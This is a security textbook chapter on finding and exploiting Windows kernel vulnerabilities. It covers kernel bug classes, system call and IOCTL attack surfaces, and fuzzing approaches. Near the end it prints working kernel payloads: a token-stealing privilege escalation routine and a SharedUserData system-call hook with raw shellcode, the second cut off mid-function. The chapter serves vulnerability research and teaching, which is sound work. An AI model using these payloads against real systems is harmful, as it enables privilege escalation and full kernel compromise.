CHAPTER 27

# Hacking the Windows Kernel

This chapter discusses how to find and exploit bugs in Windows kernel-mode code. We start with a brief overview of the kernel and a discussion of common programming flaws. We then look at two common interfaces from which the kernel can be attacked—system calls and device drivers I/O control codes—before introducing kernel-mode exploit payloads that elevate privilege, execute a secondary user-mode payload, and subvert kernel security.

## Windows Kernel Mode Flaws—An Increasingly Hunted Species

Vulnerabilities affecting Windows kernel-mode code are reported on a more and more frequent basis. In any given month on Bugtraq or Full Disclosure chances are there will be several kernel issues reported, typically local privilege escalation through flaws in device drivers but occasionally remotely exploitable vulnerabilities, often requiring no authentication. Ironically, many of these issues are in security products themselves such as personal firewalls.

Kernel bugs have traditionally received less attention and have been perceived as harder to find and harder to exploit than user-mode bugs. The reality

is that many classes of bugs affecting user-mode applications—stack overflows, integer overflows, heap overflows—are present in kernel code, and the techniques for finding these in user-mode applications—fuzzing, static analysis, and dynamic analysis—apply equally well to kernel-mode code. In some cases, bugs are easier to spot in kernel-mode code than user mode.

So why is it that kernel flaws are receiving more attention? There are likely several factors that contribute to this:

- **An increased understanding of the low-level operation of the kernel.** The Windows kernel is essentially a complex black box; however, over the past 10 years it has become slowly more understood. These days there are many useful resources for understanding aspects of its operation—*Microsoft Windows Internals, Fourth Edition* by Mark E. Russinovich and David A. Solomon (Microsoft Press, 2004) is certainly a good starting point. In addition there have been several *Phrack* articles on manipulating the kernel and postings on Rootkit.com have shed light on some of the blacker innards of the kernel.
- **Vulnerabilities in user-mode applications are becoming harder to find.** It is generally accepted in the security community that simple stack overflow vulnerabilities, at least in critical Windows services, are drying up. Code that runs in the kernel, however, has been scrutinized less. This is partly due to the black art that is driver development. Developers often hack on a sample from the Device Driver Development Kit (DDK) until it meets their requirements, and most software houses do not have many people equipped to carry out peer review of a driver. Kernel-mode code is therefore a potentially target-rich attack surface.
- **Increased exposure through interconnected peripherals.** These days the average notebook is likely to contain a wireless network card, a Bluetooth adapter, and an infrared port. Such devices are controlled by kernel-mode drivers that are responsible for parsing the raw data received in order to abstract it for another device driver or a user-mode application. This creates a potentially devastating attack surface that can be targeted anonymously by attackers situated in the same physical locality.

## Introduction to the Windows Kernel

Windows runs in protected mode with two modes of operation—user mode and kernel mode—enforced by the CPU itself via the use of privilege rings: ring three for user mode and ring zero for kernel. Because kernel-mode code

runs in ring zero, it has full access to the hardware and machine resources. The kernel's responsibilities include memory management, thread scheduling, hardware abstraction, and security enforcement. Our goal as an attacker is to exploit a vulnerability in kernel code to "get ring zero," that is, to execute our code in kernel mode and thus gain unlimited access to system resources.

The Windows kernel typically resides in `ntoskrnl.exe`, although the filename may vary depending on Physical Address Extension (PAE) and multiprocessor support. The kernel is loaded by the boot loader; this is `ntldr.exe` on Windows 2003 and below and `winload.exe` on Vista. `ntoskrnl` implements the core of the operating system including the Virtual Memory Manager, the Object Manager, the Cache Manager, the Process Manager, and the Security Reference Monitor. Other functionality, such as the Window Manager and support for graphics primitives are loaded via kernel modules, known as device drivers.

The term *device driver* is actually a misnomer. Although many device drivers interact directly with peripherals such as network, video, and sound cards, others have nothing to do with a physical device and instead expand the kernel's functionality in some way. Windows ships with many device drivers, not only Microsoft drivers that provide basic functionality we take for granted (such as support for multiple filesystems) but also third-party drivers that control specific pieces of hardware.

**NOTE** **It is important to note that when we talk about bugs in kernel-mode code, we are not necessarily talking about bugs in Microsoft code. Though the core kernel, the graphics subsystem, and Microsoft drivers have had their fair share of vulnerabilities, the majority of kernel-mode flaws reported these days are actually in third-party device drivers. Third-party driver code is often of poor quality compared to Microsoft code, in the same way that much third-party user-mode code is still rife with simple stack overflows while these have been largely eliminated in Microsoft products.**

## Common Kernel-Mode Programming Flaws

Let's take a look at some common classes of kernel bugs. You'll notice that these underlying flaws are the same whether we are attacking kernel-mode code or user-mode code. For this reason we won't go into the mechanics of each class, which have been discussed thoroughly elsewhere in this book—we'll only cover what is interesting and unique to kernel mode.

**THE INFAMOUS BLUE SCREEN OF DEATH**

**When the kernel encounters a condition that compromises safe system operation, the system halts. This condition is called a bug check but is also commonly referred to as a Stop error or a "Blue Screen of Death" (BSOD). We will use these terms interchangeably through this chapter.**

**If a kernel debugger is attached, the system causes a break so the debugger can be used to investigate the crash. If no debugger is attached, a blue text screen appears with information about the error and a crash dump is optionally written to disk.**

**When you are fuzzing kernel code or developing a kernel-mode payload, it is highly recommended that you have a kernel debugger attached so that if an unhandled exception occurs, it can be debugged in real time. The alternative approach is to work from crash dumps that allow for offline analysis.**

## Stack Overflows

The basic concepts of exploiting stack overflows in user mode also apply to kernel mode; it is typically sufficient to overwrite the return address in order to control the flow of execution.

When a kernel stack overflow is exploited by a local user, exploitation is usually trivial. The return address can be directly overwritten with an arbitrary address in user mode where the attacker has mapped their shellcode. This approach has two main benefits:

First, there are no size constraints on the shellcode because it is not stored in the stack buffer.

Second, there are no character constraints; the shellcode may contain any byte value, including null bytes because it is not part of the buffer copied into the local stack variable and therefore not subject to application constraints.

When a stack overflow is triggered remotely, the payload must be self-contained. Several vendors have shipped updates for wireless device drivers to fix remotely accessible stack overflows when parsing malformed 802.11b frames. Exploitation of these was the subject of a highly recommended article that appeared in the Uninformed Journal, available at `http://www.uninformed.org/?v=6&a=2&t=sumry`.

### *The /GS Flag*

As of the Windows Server 2003 SP1 DDK, the `/GS` flag is on by default when compiling device drivers. If a stack overflow is detected, a bug check 0xF7 (`DRIVER_OVERRAN_STACK_BUFFER`) is raised resulting in the familiar BSOD. This in itself is a denial of service that may well be a serious issue if it can be triggered remotely and without requiring authentication.

Consider the following dispatch function. We cover driver vulnerabilities in more detail in the "Communicating with Device Drivers" section later in the chapter; for now it is sufficient to note that

```
Irp->AssociatedIrp.SystemBuffer
```

. . . points to the user's buffer, which is of length

```
irpStack->Parameters.DeviceIoControl.InputBufferLength
```

The function does work on the structure passed in via this buffer. It contains a rather obvious overflow, and also a memory disclosure issue because the input buffer length is minimally validated.

```
typedef struct _MYSTRUCT
{
     DWORD d1;
     DWORD d2;
     DWORD d3;
     DWORD d4;
} MYSTRUCT, *PMYSTRUCT;


NTSTATUS DriverDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    PIO_STACK_LOCATION      irpStack;
    DWORD                   dwInputBufferLength;
    PVOID                   pvIoBuffer;
    DWORD                   dwIoControlCode;
    NTSTATUS                ntStatus;
    MYSTRUCT                myStruct;

    ntStatus = STATUS_SUCCESS;
    irpStack = IoGetCurrentIrpStackLocation(Irp);

    pvIoBuffer              = Irp->AssociatedIrp.SystemBuffer;
    dwInputBufferLength     = irpStack-
>Parameters.DeviceIoControl.InputBufferLength;
    dwIoControlCode         = irpStack-
>Parameters.DeviceIoControl.IoControlCode;

    switch (irpStack->MajorFunction)
    {
     case IRP_MJ_CREATE:
        break;

     case IRP_MJ_SHUTDOWN:
        break;
```

```
      case IRP_MJ_CLOSE:
         break;

      case IRP_MJ_DEVICE_CONTROL:

              switch (dwIoControlCode)
              {
                      case IOCTL_GSTEST_DOWORK:

                           if (dwInputBufferLength)
                           {
                                  memcpy(&myStruct, pvIoBuffer,
dwInputBufferLength);
                                  DoWork(&myStruct);
                                  memcpy(Irp-
>AssociatedIrp.SystemBuffer, pvIoBuffer, dwInputBufferLength);
                                  Irp->IoStatus.Information =
dwInputBufferLength;
                           }
                           else
                           {
                                    ntStatus =
STATUS_INVALID_PARAMETER;

                           }
                           break;

                           default:

                           ntStatus = STATUS_INVALID_PARAMETER;
                           break;
              }

         break;
     }

     Irp->IoStatus.Status = ntStatus;
     IoCompleteRequest(Irp, IO_NO_INCREMENT);
     return ntStatus;
}
```

Let's disassemble the function epilog; the driver containing this function has been compiled with `/GS`, so we expect to see validation of the stack cookie:

```
; Disassembly of call to IoCompleteRequest and epilog
.text:00011091                xor     dl, dl
.text:00011093                mov     ecx, eax
.text:00011095                call    ds:IofCompleteRequest
.text:0001109B                xor     eax, eax
.text:0001109D                pop     ebp
.text:0001109E                retn    8
```

The function simply calls `IoCompleteRequest` and returns. It is trivial to gain control of execution from this function by the tried and tested overwrite of the saved return address. The compiler has decided that this function does not pose sufficient risk and therefore does not protect it with a stack cookie. As soon as we insert the following dummy lines at the top of the function, recompile, and disassemble, we notice that stack protection is enabled:

```
CHAR chBuffer[64];
...
strcpy(chBuffer, "This is a test");
DbgPrint(chBuffer);


; Disassembly of call to IoCompleteRequest and epilog
.text:000110BF                  xor     dl, dl
.text:000110C1                  mov     ecx, ebx
.text:000110C3                  call    ds:IofCompleteRequest
.text:000110C9                  mov     ecx, [ebp-4]
.text:000110CC                  pop     edi
.text:000110CD                  pop     esi
.text:000110CE                  xor     eax, eax
.text:000110D0                  pop     ebx
.text:000110D1                  call    sub_11199
.text:000110D6                  leave
.text:000110D7                  retn    8


; Stack cookie validation routine
.text:00011199 sub_11199        proc near               ; CODE XREF:
.text:00011199                  cmp     ecx, BugCheckParameter2
.text:0001119F                  jnz     short loc_111AA
.text:000111A1                  test    ecx, 0FFFF0000h
.text:000111A7                  jnz     short loc_111AA
.text:000111A9                  retn
```

This selective application of `/GS` is—unfortunately—good news for kernel-mode exploit writers. Though there will be occasions when the `/GS` flag makes exploitation harder, it is common for device drivers to pass around structures rather than character arrays. Consequently, a large surface remains unprotected.

The actual heuristics that the compiler uses to determine whether a function should be given a stack cookie are somewhat more complicated than simply whether the function contains a character array. They are detailed on MSDN at `http://msdn2.microsoft.com/en-US/library/8dbf701c.aspx`.

Of course, there will always be developers that explicitly disable the `/GS` flag or compile with an older version of the DDK.

## Heap Overflows

Exploitation of kernel heap overflows is a subject that has received little attention. The only public discussion of this subject is SoBeIt's Xcon 2005 talk, "How to exploit Windows kernel memory pool" available at `http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf`.

Kernel heap overflow vulnerabilities have been reported. One such flaw was reported in Kaspersky Internet Security Suite:

```
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=505
```

The basic premise of SoBeIt's method is to build a free memory (pool) chunk behind the chunk that is overflowed in order to obtain an arbitrary write primitive when the overflowed pool is freed. The arbitrary overwrite can be used to target `KiDebugRoutine`, the function that is called when an unhandled exception occurs and a kernel debugger is attached. An exception is likely to occur when the system frees the faked pool or its neighbor; thus, the attacker can gain control of execution. The payload is first required to repair the pool to prevent a blue screen.

## Insufficient Validation of User-Mode Addresses

One of the most common kernel coding flaws is to incorrectly validate addresses passed from user mode, allowing the attacker to overwrite an arbitrary address in kernel space. The level of control the attacker has over the value that is written is normally unimportant provided he has some control over the target address because there are many ways of gaining control of execution with this type of bug.

A common means of exploiting an arbitrary overwrite is to target a function pointer and overwrite it so that it points into user mode. The attacker then maps his payload at this address within a user-mode application and triggers (or waits for) a call through the function pointer. One potential issue with making kernel-mode function pointers point into user mode is that if it is called when the user-mode process containing the payload is not the current execution context, there may not be memory mapped there (or if there is, it won't be the payload) resulting in a bug check.

Arbitrary overwrite vulnerabilities are common in device drivers; many popular antivirus solutions have suffered from this class of issue including products from Symantec and Trend Micro:

```
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=417
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=469
```

The Microsoft Server Message Block Redirector driver was also vulnerable:

```
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=408
```

We cover how to detect this type of coding flaw later in the chapter.

## Repurposing Attacks

Developers often write drivers because they need to allow a user-mode application some level of access to the machine's hardware and resources. There are plenty of poorly written drivers that do not take into account that a low-privileged user may interact with the driver in unexpected ways. A good example of this can be found in allowing access to the I/O space via a driver. User-mode applications generally run with an I/O privilege level (IOPL) of zero. This means that access to the I/O space is restricted through the I/O privilege map, a per-process bitmap stored in the kernel that specifies which ports the process can access. It is possible for a process that has the `SeTcbPrivilege` enabled to raise its IOPL to three and thereby perform unrestricted I/O; however, only LocalSystem typically has this privilege.

A common solution to this problem is to create a driver that exposes access to the I/O space. This solution is a vulnerability in itself if a low-privileged user is able to open the device and issue completely arbitrary IN and OUT instructions through the driver.

## Shared Object Attacks

Drivers typically need to interact with user-mode applications in some way, unless they are filter drivers that work on I/O request packets (IRPs) produced by other drivers. Kernel-mode developers must be extremely careful when accessing resources shared with user mode in the same way that high-privileged user-mode services must be prudent when sharing resources with lower-privileged processes.

An issue affecting the graphics subsystem of Windows XP and below was reported during the Month of Kernel Bugs (MoKB). A section was mapped as read-only in user-mode processes that have a GUI; the section could simply be remapped as read-write and data rewritten. The contents of the section were not validated by the kernel prior to use ultimately leading to arbitrary code in the context of the kernel. A further description of this issue is available at `http://projects.info-pull.com/mokb/MOKB-06-11-2006.html`.

Now that we have considered some of the types of vulnerability that exist in kernel code, the next sections examine two of the most important interfaces between user mode and kernel mode—the Windows system call mechanism and device driver I/O control code.

# Windows System Calls

History has an uncanny way of repeating itself in security. Let's look at some of the early vulnerabilities that were reported in the Windows kernel and compare these to more recently reported issues. Some of the first kernel bugs were system call validation issues reported by Mark Russinovich and Bryce Cogswell. To understand these it is necessary to explain how system calls work.

## Understanding System Calls

In order to securely allow privileged operations, such as opening files and manipulating processes, the operating system must transition from user mode to kernel mode via a system call. Most application developers write code that calls library functions in the Win32 API, the core of which is implemented by `kernel32.dll`, `user32.dll`, and `gdi32.dll`. If a Win32 API function needs to make a system call, it will call the corresponding Nt* function in the Native API—`CreateFile` calls `NtCreateFile`, `CreateThread` calls `NtCreateThread`, and so on. The Native API is the officially undocumented set of functions that in user mode executes the CPU instructions that cause the transition to kernel mode, and once in kernel mode, carries out the privileged operations (checking first that the calling context has sufficient access rights if required).

`Ntdll.dll` implements the user-mode portion of the Native API. Let's take a look at the disassembly of a function from the Native API (taken from Windows XP SP2) using WinDbg:

```
kd> u ntdll!NtCreateFile
ntdll!NtCreateFile:

7c90d682 b825000000       mov     eax,0x25
7c90d687 ba0003fe7f       mov     edx, {SharedUserData!SystemCallStub
(7ffe0300)}
7c90d68c ff12             call    dword ptr [edx]
7c90d68e c22c00           ret     0x2c
```

The preceding instructions load EAX with the value `0x25`. This is the numeric identifier representing `NtCreateFile`. Next, there is a call through a function pointer located at address `0x7FFE0300`. This address is known as the `SystemCallStub`, and it resides in an area of memory known as `SharedUserData`. `SharedUserData` has some interesting properties that we will revisit when discussing exploitation of kernel bugs. With this in mind, note that `SharedUserData` is located at address `0x7FFE0000` in all versions of Windows and that it is

mapped across all user-mode processes, hence, its name. Let's investigate the SystemCallStub some more:

```
kd> u poi(SharedUserData!SystemCallStub)
ntdll!KiFastSystemCall:

7c90eb8b 8bd4            mov     edx,esp
7c90eb8d 0f34            sysenter
7c90eb8f 90              nop
7c90eb90 90              nop
7c90eb91 90              nop
7c90eb92 90              nop
7c90eb93 90              nop

ntdll!KiFastSystemCallRet:
7c90eb94 c3              ret
```

The stack pointer is stored in EDX, and the CPU executes SYSENTER. SYSENTER is the instruction in Intel Pentium II processors and above that results in a fast transition to kernel mode. Its equivalent on AMD processors is SYSCALL, present since the K7 family. Prior to the development of SYSENTER and SYSCALL, the operating system transitioned to kernel via raising software interrupt 0x2E. This is still the mechanism that Windows 2000 uses regardless of processor support for the faster instructions.

Once SYSENTER is executed, control switches to the value specified by the model specific register (MSR) SYSENTER_EIP_MSR. MSRs are configuration registers used by the operating system. They are read and set via the RDMSR and WRMSR instructions, respectively; these are privileged instructions and can therefore only be executed from ring zero. The SYSENTER_EIP_MSR (0x176) is set to point to the KiFastCallEntry function in Windows XP and above.

**NOTE The target location to switch to following a SYSENTER is only part of the puzzle. What about the segment descriptors that ultimately define the ring in which the code will execute? The answer is that the CPU hardcodes the segment base to zero, the segment size to 4GB, and the privilege level to zero.**

KiFastCallEntry calls KiSystemService; this is the function that handles interrupt 0x2E on older versions of Windows. KiSystemService copies the parameters from the user-mode stack, pointed to by EDX, takes the value previously stored in EAX (the system call number), and executes the function located at the index into the appropriate service table.

## Attacking System Calls

The system call mechanism presents a sizable attack surface interfacing user mode and kernel mode. The operating system developers must ensure the system call dispatch mechanism is robust and that system calls themselves stringently validate parameters. Failure to do so may result in a "Blue Screen of Death" or, in the worst case, arbitrary code execution with kernel privilege. For this reason, `ntoskrnl` exports functions that can be used to validate parameters when used in a structured exception handler:

`ProbeForRead`: This function checks that a user-mode buffer actually resides in the user portion of the address space and is correctly aligned.

`ProbeForWrite`: This function checks that a user-mode buffer actually resides in the user-mode portion of the address space, is writable, and is correctly aligned.

If you can find a system call that takes parameters and doesn't perform any validation, then you've likely found a flaw. This is precisely what Mark Russinovich and Bryce Cogswell set out to automate in 1996 with their NtCrash tool. The first incarnation of NtCrash discovered 13 vulnerabilities within `Win32k.sys` on NT 4.0. A year later Russinovich released the second version of NtCrash; it is still available from `http://www.sysinternals.com/files/ntcrash2.zip`.

NtCrash2 found a further 40 issues, this time within `ntoskrnl`. A good number of these were most likely exploitable. Since then, Microsoft has put effort into securing system calls. While there may still be a few specific boundary case issues that cause problems, spending time auditing system call validation is likely to be a fruitless exercise in terms of bug yield (though you will undoubtedly learn new things about the kernel).

It is possible for third-party code to add its own service table to the System Service Descriptor Table (SSDT) through use of the exported API `KeAddSystemServiceTable`. It is actually relatively simple to "manually" add a new service table, though this is not especially common. It is more common to see third-party code hook the SSDT, that is, replace function pointers within `KiServiceTable` in order to gain control when certain system calls are made. This is the approach that many security solutions, rootkits, and DRM implementations take in order to control access to resources in ways not possible via standard OS functionality. Unfortunately in many cases, third-party developers do not code defensively, and it is possible to pass malformed parameters in order to cause denial of service and exploitable conditions. NtCrash2 rides again!

Both Kerio and Norton Personal Firewalls were vulnerable to this type of vulnerability:

```
http://www.matousec.com/info/advisories/Kerio-Multiple-insufficient-
argument-validation-of-hooked-SSDT-functions.php
http://www.matousec.com/info/advisories/Norton-Multiple-insufficient-
argument-validation-of-hooked-SSDT-functions.php
```

# Communicating with Device Drivers

Probably the most common means of interacting with a device driver from user mode is via the Win32 API function `DeviceIoControl`. This function allows a user to send an *I/O control code* (IOCTL) with an optional input and output buffer to the driver. An I/O control code is a 32-bit value that specifies the device type, the required access, the function code, and transfer type, as shown here:

```
[Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
   31    30←-----→16 15←--------→14   13   12←--------→2 1←---------→0
```

## I/O Control Code Components

Let's discuss each component of an IOCTL:

- The device can either be one of the Microsoft-defined device types (listed in the DDK headers) or a custom code, typically above 0x8000 (that is, the 16th bit, the common bit, is set to indicate a custom code).
- The required access bits specify the rights that the user-mode application must have opened the device with in order for the I/O manager to allow the IRP to pass to the driver. Many driver writers set this to `FILE_ANY_ACCESS`, allowing anyone who has a handle to the driver to send an IOCTL. The required access can normally be restricted to a tighter permission set such as `FILE_READ_ACCESS`.
- The function code identifies the function that the IOCTL represents. It's worth noting that the IOCTLs supported by a device need not have incremental function codes, and according to the DDK, values less than 0x800 are reserved for Microsoft although this is not enforced in any way.
- The transfer type specifies how the system will transfer the data between the user-mode application and the device. It must be set to one of the following constants:
- `METHOD_BUFFERED`: The operating system creates a non-paged system buffer, equal in size to the application's buffer. For write operations, the I/O manager copies user data into the system buffer before calling the driver stack. For read operations, the I/O manager copies data from the system buffer into the application's buffer after the driver stack completes the requested operation.
- `METHOD_IN_DIRECT` or `METHOD_OUT_DIRECT`: The operating system locks the application's buffer in memory. It then creates a memory descriptor list (MDL) that identifies the locked memory pages and passes the MDL to the driver stack. Drivers access the locked pages through the MDL.

- METHOD_NEITHER: The operating sy\stem passes the application buffer's virtual starting address and size to the driver stack. The buffer is accessible only from drivers that execute in the application's thread context.

The most common vulnerabilities associated with IOCTL handlers are:

1. Not validating the buffer address when using METHOD_NEITHER. This leads directly to an arbitrary overwrite in the case of an output buffer.
2. Not validating addresses and data passed in structures (applicable to all transfer types). The driver writer may choose METHOD_BUFFERED to save having to validate the address of the buffer. Many buffers contain structures that hold user-mode pointers. If these are accessed from kernel mode, they must also be validated.

## Finding Flaws in IOCTL Handlers

There are three main approaches to locating the flaws just mentioned in the previous section in IOCTL handlers. The next three sections discuss these approaches in turn.

### *Static Analysis*

It is relatively easy to determine valid IOCTLs from static analysis of a driver using a disassembler such IDA Pro, or a debugger such as WinDbg or OllyDbg. Although OllyDbg is a user-mode debugger, it will load a driver that has had its image subsystem modified. This trick is documented at http://malwareanalysis.com/CommunityServer/blogs/geffner/archive/2007/02/15/18.aspx.

A useful feature of OllyDbg is its ability to search for code constructs such as switches. The driver dispatch function is often coded as a switch statement based off the IOCTL.

The advantage of static analysis is that all supported IOCTLs can be identified. It is also relatively simple to observe when the handler does not perform validation—the telltale sign is a lack of testing of the input and output buffer lengths before the buffer is read from or written to. The disadvantage of static analysis is that it is generally time consuming and laborious.

### *Trial and Error*

It is possible to tell by calling GetLastError after DeviceIoControl whether a device accepted an IOCTL, whether the IOCTL was correct but the input or output buffer lengths were incorrect, or whether the IOCTL was not handled. Randomly guessing IOCTL values is not likely to yield much success due to

the 15-bit device type and the 10-bit function code. A better approach is to perform some basic static analysis first to determine the device type. The device type is passed as a parameter to `IoCreateDevice`, which is typically called in the driver's entry point function. It then becomes feasible to brute force function codes and transfer types to determine valid IOCTLs. The next step is to brute force valid input and output buffer sizes and to try sending bogus data to the driver.

### *Collect and Fuzz*

This is typically performed by hooking `DeviceIoControl` within the process that communicates with the device. The process containing a handle to the device can be determined easily using the Sysinternals Process Explorer tool. The benefit of this approach is that not only do you capture valid IOCTLs (and you therefore know, by definition, their transfer type), but also you know valid input and output buffer sizes and have some sample data that can be fuzzed. The main drawback to this approach is that you capture only IOCTLs that the application issues during your capture period. It may be that there is functionality in the driver that can be triggered by IOCTLs that the application did not invoke—and may possibly never invoke—for example, some diagnostics or debugging functionality that has been left behind but is not used by the retail version of the application.

**TIP Probably the most efficient means of testing a device driver is to combine the approaches discussed by fuzzing collected data while performing a basic level of static analysis to determine the complete list of IOCTLs.**

We have not discussed how to fuzz the collected data; this largely depends on what the driver does. It is common to pass across structures from user mode to kernel mode. Often these will contain pointers to user mode, and a simple "bit flipping" approach will likely trigger kernel-mode exceptions leading to bug check. On the other hand, an application may obfuscate or encode data passed across the IOCTL interface. In this case, a smarter approach to fuzzing will be required to get good code coverage.

## Kernel-Mode Payloads

Now that we have considered ways of attacking the kernel, it's time to look at what you might want to do in ring zero. Of course, what follows are only suggestions and may not suit every circumstance. Furthermore, all the payloads we present could be made more robust. For additional payloads, the interested reader is advised to download MetaSploit (`http://www.metasploit.com/`).

**THE IMPORTANCE OF CONTINUATION AND RELIABILITY**

**Think about user-mode exploits for a minute. Writing reliable, robust exploits for user-mode code is important, but depending on the context, not essential. Exploits for client-side bugs, for example, may not require 100 percent reliability depending on the context in which they are used. Similarly, some server-side exploits may also have margin for error if, for example, the bug is a stack overflow in a worker pool thread and an access violation simply results in the termination of the thread.**

**Now consider kernel-mode exploits. In almost all scenarios a kernel exploit must work the first time, and it must repair any damage to the stack or heap it has caused in order to maintain system stability. Failure to do so will lead to a bug check. The machine may reboot immediately, allowing another attempt, but this is hardly elegant or stealthy.**

## Elevating a User-Mode Process

The objective of this payload is to escalate the privilege of a specific application (potentially the application from which the flaw was triggered though the target process ID is configurable). In order to do this we must modify the access token associated with the process. The access token holds details of the identity and privileges of the user account associated with the process. It is pointed to by the `Token` field within the `EPROCESS` structure corresponding to the process.

The simplest means of elevating privilege this way is to make the target process's token point to the access token of the higher-privileged process. We will refer to these processes as the destination and source, respectively. A safe choice for the source process is the System process (PID 4 on Windows XP, 2003, and Vista; 8 on Windows 2000), a pseudo-process used to account for the CPU time used by the kernel.

The steps we must take are as follows:

1. Find a valid `EPROCESS` structure. `EPROCESS` blocks are stored in a doubly linked list; once we have located a valid list entry, we can walk the list to find our source and destination processes. There are several ways to locate a valid `EPROCESS` entry within the linked list. If we know that our code is not executing in the context of Idle process, we can use the fact the FS:[0x124] will point to the current process's `ETHREAD` structure. From the `ETHREAD` we can obtain the address of the current process's `EPROCESS` structure. If, however, we cannot be sure of the context that our code will execute in, we must use a different technique. Barnaby Jack in his paper, "Remote Windows Kernel Exploitation, Step into the Ring 0" (available at `http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf`)

suggests locating the address of `PsLookupProcessByProcessId` within `ntoskrnl`, passing it the PID of the system process.

An alternate technique on Windows XP and above is to locate the `PsActiveProcessHead` variable (a pointer to the head of the list of processes) via the `KdVersionBlock`, an undocumented structure discussed by Opc0de and later by Alex Ionescu:

`https://www.rootkit.com/newsread.php?newsid=153`.

2. We walk the linked list, comparing the PID stored in each `EPROCESS` block to those of our source and destination processes. We save a pointer to both our source and destination `EPROCESS`.
3. If we have located both PIDs, we copy over the `Token` pointer from the source `EPROCESS` to the destination and return success.
4. If we have finished walking the list (that is, we are back at our original `EPROCESS`), we return failure.

Take a look at this payload for Windows XP SP2; we have implemented it as a C function with inline assembler:

```
NTSTATUS SwapAccessToken(DWORD dwDstPid, DWORD dwSrcPid)
{
     DWORD dwStartingEPROCESS = 0;
     DWORD dwDstEPROCESS = 0;
     DWORD dwSrcEPROCESS  = 0;
     DWORD dwRetValue = 0;
     DWORD dwActiveProcessLinksOffset = 0x88;
     DWORD dwTokenOffset = 0xC8;
     DWORD dwDelta = dwTokenOffset - dwActiveProcessLinksOffset;

     _asm
     {
          pushad
          mov eax, fs:[0x124]
          mov eax, [eax+0x44]
          add eax, dwActiveProcessLinksOffset
          mov dwStartingEPROCESS, eax

CompareSrcPid:

          mov ebx, [eax - 0x4]
          cmp ebx, dwSrcPid
          jne CompareDstPid
          mov dwSrcEPROCESS, eax

CompareDstPid:

          cmp ebx, dwDstPid
          jne AreWeDone
          mov dwDstEPROCESS, eax
```

```
AreWeDone:

          mov edx, dwDstEPROCESS
          and edx, dwSrcEPROCESS
          test edx, edx
          jne SwapToken
          mov eax, [eax]
          cmp eax, dwStartingEPROCESS
          jne CompareSrcPid
          mov dwRetValue, 0xC000000F
          jmp WeAreDone

SwapToken:

          mov eax, dwSrcEPROCESS
          mov ecx, dwDelta
          add eax, ecx
          mov eax, [eax]
          mov ebx, dwDstEPROCESS
          mov [ebx + ecx], eax

WeAreDone:

          popad
     }

     return dwRetValue;
}
```

There are several ways we could improve this payload. First, if this payload is supplied in a buffer (as opposed to simply being mapped at a location in user mode), it may need to be optimized to reduce its size. Second, if the access token we've snagged is destroyed (that is, the memory freed when the source process terminates), it will cause problems. This was the motivation behind the suggested use of the System process because this will not exit. It is possible to create an entirely new access token with the required identity and privileges, but this requires a good deal more effort than simply copying a pointer. Another issue is that the `EPROCESS` structure is undocumented and therefore subject to change. With the insertion and removal of fields between different versions of Windows, the offset to the token field will move around. This means that the payload will need to use different offsets depending on the version of Windows. These improvements are left to you as an exercise.

## Running an Arbitrary User-Mode Payload

We stated in the beginning of the chapter that our ultimate goal was to execute code in ring zero. What becomes apparent to exploit writers developing kernel payloads for the first time is that simple operations such as reading and writing files and opening a socket typically require more instructions in kernel mode than in user mode and that often control of a user-mode process running as LocalSystem is sufficient for the attacker's needs. It is therefore useful to develop a generic kernel-mode payload that will execute a user-mode payload in an arbitrary process's context. This way, we can attack the kernel, gain ring zero privilege through our vulnerability, and then drop our standard user-mode payload such as a bind shell into a process running as LocalSystem. An additional benefit of this approach is that depending on the process we inject into, if at some stage our code causes it to crash, it will not to take the machine down with a blue screen.

In order to inject our payload, we are going to rely on the fact that when a process makes a system call, it calls through the `SharedUserData!SystemCallStub` (assuming Windows XP and above), which we briefly discussed earlier in the chapter. By modifying this function pointer, we can have our code executed every time a system call is made. Here are the steps we need to take:

1. We disable memory write protection and write our system call pass-through code into an unused area of `SharedUserData`. This piece of code will first check the calling process's PID to see if it matches our target; if we have a match, we will execute our payload.

**NOTE** **There's an obvious problem with this. What if our user-mode payload makes a system call? It will result in the payload executing from the start again! It is, therefore, the payload's responsibility to ensure this does not happen. This is easy to accomplish by setting a flag somewhere in the process space (for example, the Process Environment Block [PEB]) to indicate that execution has already begun. The very first thing the payload should do is check this flag and simply return if it's set allowing the system call to proceed. If it is not already set, it should set it and continue.**

   Once our payload has executed, or if the PID did not match, we will call the original `SystemCallStub` function pointer.

   We obtain the PID of the calling process from the Thread Environment Block (TEB).

2. We disable interrupts because we do not want our `SystemCallStub` patch to get preempted before it has completed.

3. We modify `SystemCallStub` to point to our pass-through code.
4. We re-enable memory protection and re-enable interrupts.

Take a look at this payload. Again, we've implemented it as a C function with inline assembler for clarity:

```
NTSTATUS SharedUserDataHook(DWORD dwTargetPid)
{
 char usermodepayload[] = { 0x90, // NOP
                            0xC3  // RET
                          };

 char passthrough[] =
{
  0x50,                                 // PUSH EAX
  0x64, 0xA1, 0x18, 0x00, 0x00, 0x00,   // MOV EAX,DWORD PTR FS:[18]
  0x8B, 0x40, 0x20,                     // MOV EAX,DWORD PTR DS:[EAX + 20]
  0x3B, 0x05, 0xF4, 0x03, 0xFE, 0x7F,   // CMP EAX,DWORD PTR DS:[7FFE03FC]
  0x75, 0x07,                           // JNZ exit
  0xB8, 0x00, 0x05, 0xFE, 0x7F,         // MOV EAX,0x7FFE0500
  0xFF, 0xD0,                           // CALL EAX
  /* exit: */
  0x58,                                 // POPAD
  0xFF, 0x25, 0xF8, 0x03, 0xFE, 0x7F,   // JMP DWORD PTR DS:[7FFE03F8]
};

     DWORD *pdwPassThruAddr =            (DWORD *) 0x7FFE0400;
     DWORD *pdwTargetPidAddr =           (DWORD *) 0x7FFE03FC;
     DWORD *pdwNewSystemCallStub =       (DWORD *) 0x7FFE03F8;
     DWORD *pdwOriginalSystemCallStub = (DWORD *) 0x7FFE0300;
     DWORD *pdwUsermodePayloadAddr =     (DWORD *) 0x7FFE0500;

     // Disable write protection

     _asm {
            push eax
            mov eax, cr0
            and eax, not 10000h
            mov cr0, eax
            pop eax
          }

     memcpy((VOID *)0x7FFE0400, passthrough, sizeof(passthrough));
     memcpy((VOID *)0x7FFE0500, usermodepayload,
sizeof(usermodepayload));

